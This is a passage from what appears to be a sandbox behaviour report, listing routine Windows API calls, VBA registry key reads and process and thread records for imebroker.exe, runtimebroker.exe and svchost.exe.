(This=0x7ff9e7edf3f0, pv=0x2764ba22ef0) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b407ee0) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db740) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3aae0) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1792d0) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa39c0) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f500) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e640) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6fd910) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a6f0) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a600) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b246000) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b2460c0) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3c00) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e800) [0129.462] wcsncpy_s (in: _Destination=0xb5690f9280, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0129.462] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0129.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f91b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0129.462] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1788b0) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b962370) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c0156b0) [0129.468] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764bb0a820, cb=0x0) returned 0x0 [0129.468] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51e8d0 [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0b050) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b962ac0) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0af20) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b40d0f0) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b962700) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e04c0) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c00e510) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e8d0) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0aee0) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9b0b60) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b730f40) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178590) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178930) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b41ff50) [0129.468] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178ff0) [0129.468] VirtualFree (lpAddress=0x27651fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.470] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8400) [0129.470] VirtualFree (lpAddress=0x27651f60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.471] VirtualFree (lpAddress=0x27651f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.471] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3030) [0129.471] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276452024b0) [0129.472] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1d03a0) [0129.472] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e540) [0129.472] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276452022f0) [0129.472] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b54b200) [0129.472] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b54a180) [0129.472] GetCapture () returned 0x0 [0129.472] GetCursorPos (in: lpPoint=0xb5690f9730 | out: lpPoint=0xb5690f9730*(x=790, y=293)) returned 1 [0129.472] WindowFromPoint (Point=0x12800000316) returned 0x10344 [0129.472] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1314 [0129.473] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b64d6d0) [0129.487] SetCursor (hCursor=0x10007) returned 0x10007 [0131.449] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x1c, wParam=0x0, lParam=0xf44) returned 0x0 [0132.046] IsWindowVisible (hWnd=0x401c0) returned 0 [0132.046] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x1045, wParam=0x0, lParam=0x0) returned 0x0 [0133.727] SetThreadDpiAwarenessContext () returned 0x80000011 [0133.727] SetThreadDpiAwarenessContext () returned 0x10 [0133.727] lstrcpyA (in: lpString1=0xb5690ff200, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0133.727] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0133.727] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0133.727] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690ff390 | out: phkResult=0xb5690ff390*=0x328) returned 0x0 [0133.728] lstrcpyA (in: lpString1=0xb5690ff230, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0133.728] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0133.728] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0133.728] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690ff3c0 | out: phkResult=0xb5690ff3c0*=0x328) returned 0x0 [0133.729] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff310 | out: lpPoint=0xb5690ff310) returned 1 [0133.729] OffsetRect (in: lprc=0xb5690ff340, dx=8, dy=31 | out: lprc=0xb5690ff340) returned 1 [0133.729] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff2a0 | out: lpPoint=0xb5690ff2a0) returned 1 [0133.729] OffsetRect (in: lprc=0xb5690ff2d0, dx=8, dy=31 | out: lprc=0xb5690ff2d0) returned 1 [0133.729] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff230 | out: lpPoint=0xb5690ff230) returned 1 [0133.729] OffsetRect (in: lprc=0xb5690ff260, dx=8, dy=31 | out: lprc=0xb5690ff260) returned 1 [0133.729] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff230 | out: lpPoint=0xb5690ff230) returned 1 [0133.729] OffsetRect (in: lprc=0xb5690ff260, dx=8, dy=31 | out: lprc=0xb5690ff260) returned 1 [0133.729] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff2a0 | out: lpPoint=0xb5690ff2a0) returned 1 [0133.729] OffsetRect (in: lprc=0xb5690ff2d0, dx=8, dy=31 | out: lprc=0xb5690ff2d0) returned 1 [0133.729] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff230 | out: lpPoint=0xb5690ff230) returned 1 [0133.729] OffsetRect (in: lprc=0xb5690ff260, dx=8, dy=31 | out: lprc=0xb5690ff260) returned 1 [0133.729] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff1c0 | out: lpPoint=0xb5690ff1c0) returned 1 [0133.729] OffsetRect (in: lprc=0xb5690ff1f0, dx=8, dy=31 | out: lprc=0xb5690ff1f0) returned 1 [0133.729] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff1c0 | out: lpPoint=0xb5690ff1c0) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff1f0, dx=8, dy=31 | out: lprc=0xb5690ff1f0) returned 1 [0133.730] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff230 | out: lpPoint=0xb5690ff230) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff260, dx=8, dy=31 | out: lprc=0xb5690ff260) returned 1 [0133.730] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff1c0 | out: lpPoint=0xb5690ff1c0) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff1f0, dx=8, dy=31 | out: lprc=0xb5690ff1f0) returned 1 [0133.730] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff1c0 | out: lpPoint=0xb5690ff1c0) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff1f0, dx=8, dy=31 | out: lprc=0xb5690ff1f0) returned 1 [0133.730] ClientToScreen (in: hWnd=0x401c0, lpPoint=0xb5690ff1c0 | out: lpPoint=0xb5690ff1c0) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff1f0, dx=8, dy=31 | out: lprc=0xb5690ff1f0) returned 1 [0133.730] ClientToScreen (in: hWnd=0x10380, lpPoint=0xb5690ff310 | out: lpPoint=0xb5690ff310) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff340, dx=33, dy=370 | out: lprc=0xb5690ff340) returned 1 [0133.730] ClientToScreen (in: hWnd=0x10380, lpPoint=0xb5690ff2a0 | out: lpPoint=0xb5690ff2a0) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff2d0, dx=33, dy=370 | out: lprc=0xb5690ff2d0) returned 1 [0133.730] ClientToScreen (in: hWnd=0x10380, lpPoint=0xb5690ff2a0 | out: lpPoint=0xb5690ff2a0) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff2d0, dx=33, dy=370 | out: lprc=0xb5690ff2d0) returned 1 [0133.730] ClientToScreen (in: hWnd=0x10380, lpPoint=0xb5690ff2a0 | out: lpPoint=0xb5690ff2a0) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff2d0, dx=33, dy=370 | out: lprc=0xb5690ff2d0) returned 1 [0133.730] ClientToScreen (in: hWnd=0x10382, lpPoint=0xb5690ff310 | out: lpPoint=0xb5690ff310) returned 1 [0133.730] OffsetRect (in: lprc=0xb5690ff340, dx=760, dy=129 | out: lprc=0xb5690ff340) returned 1 [0133.731] ClientToScreen (in: hWnd=0x10384, lpPoint=0xb5690ff310 | out: lpPoint=0xb5690ff310) returned 1 [0133.731] OffsetRect (in: lprc=0xb5690ff340, dx=89, dy=560 | out: lprc=0xb5690ff340) returned 1 [0133.731] ClientToScreen (in: hWnd=0x10386, lpPoint=0xb5690ff310 | out: lpPoint=0xb5690ff310) returned 1 [0133.731] OffsetRect (in: lprc=0xb5690ff340, dx=826, dy=188 | out: lprc=0xb5690ff340) returned 1 [0133.731] lstrcpyA (in: lpString1=0xb5690ff2b0, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0133.731] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0133.731] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0133.731] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690ff470 | out: phkResult=0xb5690ff470*=0x328) returned 0x0 [0138.110] SetThreadDpiAwarenessContext () returned 0x80000011 [0138.110] SetThreadDpiAwarenessContext () returned 0x10 [0138.110] lstrcpyA (in: lpString1=0xb5690fea90, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0138.110] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0138.110] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0138.110] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690fec20 | out: phkResult=0xb5690fec20*=0x754) returned 0x0 [0138.122] malloc (_Size=0x1c0) returned 0x276527c0bc0 [0138.122] qsort (in: _Base=0x276527c0bc0, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7ff9be0807c4 | out: _Base=0x276527c0bc0) [0138.122] _msize (_Block=0x276527c0bc0) returned 0x1c0 [0138.122] realloc (_Block=0x276527c0bc0, _Size=0x0) returned 0x0 [0138.124] NtdllDefWindowProc_A (hWnd=0x2036c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0138.124] NtdllDefWindowProc_A (hWnd=0x2036c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.124] NtdllDefWindowProc_A (hWnd=0x2036c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0138.127] RevokeDragDrop (hwnd=0x2036e) returned 0x0 [0138.550] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0138.550] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0138.551] lstrcpyA (in: lpString1=0xb5690fee10, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0138.551] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0138.551] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0138.551] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690fefa0 | out: phkResult=0xb5690fefa0*=0x754) returned 0x0 [0138.552] lstrcpyA (in: lpString1=0xb5690feeb0, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0138.552] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0138.552] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0138.552] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690ff078 | out: phkResult=0xb5690ff078*=0x754) returned 0x0 [0138.552] IUnknown:Release (This=0x2764baec188) returned 0x0 [0138.552] IUnknown:Release (This=0x2764baec028) returned 0x0 [0138.552] IUnknown:Release (This=0x2764baebf78) returned 0x0 [0138.552] IUnknown:Release (This=0x2764baec2e8) returned 0x0 [0138.553] IUnknown:Release (This=0x2764baec238) returned 0x7 [0138.553] IUnknown:Release (This=0x2764baec238) returned 0x6 [0138.553] IUnknown:Release (This=0x2764baec238) returned 0x5 [0138.553] IUnknown:Release (This=0x2764baec238) returned 0x4 [0138.553] IUnknown:Release (This=0x2764baec238) returned 0x3 [0138.553] IUnknown:Release (This=0x2764baec238) returned 0x2 [0138.553] IUnknown:Release (This=0x2764baec238) returned 0x1 [0138.553] IUnknown:Release (This=0x2764baec238) returned 0x0 [0138.553] IUnknown:Release (This=0x2764baec0d8) returned 0x0 [0138.553] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764556b8e0) [0138.553] IUnknown:Release (This=0x2764baebe18) returned 0x0 [0138.555] lstrcpyA (in: lpString1=0xb5690fee40, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0138.555] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0138.555] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0138.556] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690fefd0 | out: phkResult=0xb5690fefd0*=0x1584) returned 0x0 [0138.556] lstrcpyA (in: lpString1=0xb5690fee40, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0138.556] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0138.556] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0138.556] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690fefd0 | out: phkResult=0xb5690fefd0*=0x1584) returned 0x0 [0138.576] lstrcpyA (in: lpString1=0xb5690feeb0, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0138.576] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0138.576] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0138.576] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690ff050 | out: phkResult=0xb5690ff050*=0x7c8) returned 0x0 [0138.820] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1ad350) [0138.820] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4cab0) [0138.820] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b224150) [0138.820] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b223ca0) [0138.820] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae90c20) [0138.820] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1899d0) [0138.820] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b59e020) [0139.247] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453fa110) [0139.247] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453f88b0) [0139.247] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453f8cc0) [0139.247] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453f9d00) [0139.248] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7ff9e6400000 [0139.249] GetProcAddress (hModule=0x7ff9e6400000, lpProcName="DllDebugObjectRPCHook") returned 0x7ff9e7c37330 [0139.249] DllDebugObjectRPCHook () returned 0x1 [0139.250] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad9e3b0) [0139.251] VirtualFree (lpAddress=0x27649aa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.251] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8b00) [0139.251] VirtualFree (lpAddress=0x27651c40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.252] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8a00) [0139.252] VirtualFree (lpAddress=0x276499c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.252] VirtualFree (lpAddress=0x276499e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.253] VirtualFree (lpAddress=0x276499d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.253] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b599470) [0139.254] VirtualFree (lpAddress=0x27649950000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.254] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f3300) [0139.254] VirtualFree (lpAddress=0x27649980000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.254] VirtualFree (lpAddress=0x27649940000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.255] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b609780) [0139.255] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b5996e0) [0139.255] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b5325d0) [0139.256] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b224030) [0139.256] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b223b20) [0139.256] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae9e9d0) [0139.256] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b710920) [0139.257] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b611710) [0139.257] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b4112f0) [0139.375] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 23 os_tid = 0x111c Thread: id = 24 os_tid = 0x1118 Thread: id = 25 os_tid = 0x1144 Thread: id = 26 os_tid = 0x1088 Thread: id = 27 os_tid = 0x118c Thread: id = 28 os_tid = 0x116c Thread: id = 29 os_tid = 0x1038 Thread: id = 30 os_tid = 0x710 Thread: id = 31 os_tid = 0x122c Thread: id = 32 os_tid = 0x718 Thread: id = 33 os_tid = 0x450 Thread: id = 34 os_tid = 0x1254 Thread: id = 35 os_tid = 0x125c Thread: id = 36 os_tid = 0x127c Thread: id = 37 os_tid = 0x2c0 Thread: id = 38 os_tid = 0x12f8 Thread: id = 39 os_tid = 0x1348 Thread: id = 40 os_tid = 0x1344 Thread: id = 41 os_tid = 0x1304 Thread: id = 42 os_tid = 0xfd8 Thread: id = 43 os_tid = 0xfec Thread: id = 44 os_tid = 0x8e8 Thread: id = 45 os_tid = 0xaf0 Thread: id = 46 os_tid = 0x358 Thread: id = 47 os_tid = 0xcf8 Thread: id = 48 os_tid = 0x554 Thread: id = 49 os_tid = 0x58 Thread: id = 50 os_tid = 0xf58 Thread: id = 51 os_tid = 0xf34 Thread: id = 106 os_tid = 0x690 Thread: id = 107 os_tid = 0xbcc Thread: id = 110 os_tid = 0xc24 Thread: id = 113 os_tid = 0xd0c Thread: id = 114 os_tid = 0x1130 Thread: id = 117 os_tid = 0xebc Thread: id = 118 os_tid = 0xe9c Thread: id = 139 os_tid = 0xe50 Process: id = "2" image_name = "imebroker.exe" filename = "c:\\windows\\system32\\ime\\shared\\imebroker.exe" page_root = "0x16182000" os_pid = "0xf3c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x2a4" cmd_line = "C:\\Windows\\System32\\IME\\SHARED\\imebroker.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0x374 Thread: id = 53 os_tid = 0x580 Thread: id = 54 os_tid = 0xfdc Thread: id = 55 os_tid = 0xfc8 Thread: id = 56 os_tid = 0xfb0 Thread: id = 57 os_tid = 0x13ac Thread: id = 58 os_tid = 0x1120 Thread: id = 59 os_tid = 0x6d8 Thread: id = 60 os_tid = 0xe94 Thread: id = 61 os_tid = 0xd28 Thread: id = 116 os_tid = 0xa2c Thread: id = 145 os_tid = 0x11b4 Process: id = "3" image_name = "runtimebroker.exe" filename = "c:\\windows\\system32\\runtimebroker.exe" page_root = "0x3bdf3000" os_pid = "0xbf4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x2a4" cmd_line = "C:\\Windows\\System32\\RuntimeBroker.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0x1154 Thread: id = 63 os_tid = 0x1100 Thread: id = 64 os_tid = 0xa60 Thread: id = 65 os_tid = 0x8b4 Thread: id = 66 os_tid = 0x9a8 Thread: id = 67 os_tid = 0x814 Thread: id = 68 os_tid = 0xbf8 Thread: id = 69 os_tid = 0xde8 Process: id = "4" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4d677000" os_pid = "0x234" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\bthserv" [0xa], "NT SERVICE\\CDPSvc" [0xa], "NT SERVICE\\EventSystem" [0xa], "NT SERVICE\\FontCache" [0xa], "NT SERVICE\\LicenseManager" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xe], "NT SERVICE\\PhoneSvc" [0xa], "NT SERVICE\\RemoteRegistry" [0xa], "S-1-5-80-2226967063-754826275-1661302337-2802353169-2369347280" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\tzautoupdate" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "S-1-5-80-3916113136-2435487254-2535488001-4050622930-2364918814" [0xa], "NT SERVICE\\workfolderssvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000afc4" [0xc000000f], "LOCAL" [0x7] Thread: id = 70 os_tid = 0xc4c Thread: id = 71 os_tid = 0xa44 Thread: id = 72 os_tid = 0xc98 Thread: id = 73 os_tid = 0xc70 Thread: id = 74 os_tid = 0xc6c Thread: id = 75 os_tid = 0xc68 Thread: id = 76 os_tid = 0xc64 Thread: id = 77 os_tid = 0xc60 Thread: id = 78 os_tid = 0xc5c Thread: id = 79 os_tid = 0xc58 Thread: id = 80 os_tid = 0xc54 Thread: id = 81 os_tid = 0x950 Thread: id = 82 os_tid = 0x520 Thread: id = 83 os_tid = 0x6c0 Thread: id = 84 os_tid = 0x6c8 Thread: id = 85 os_tid = 0xa10 Thread: id = 86 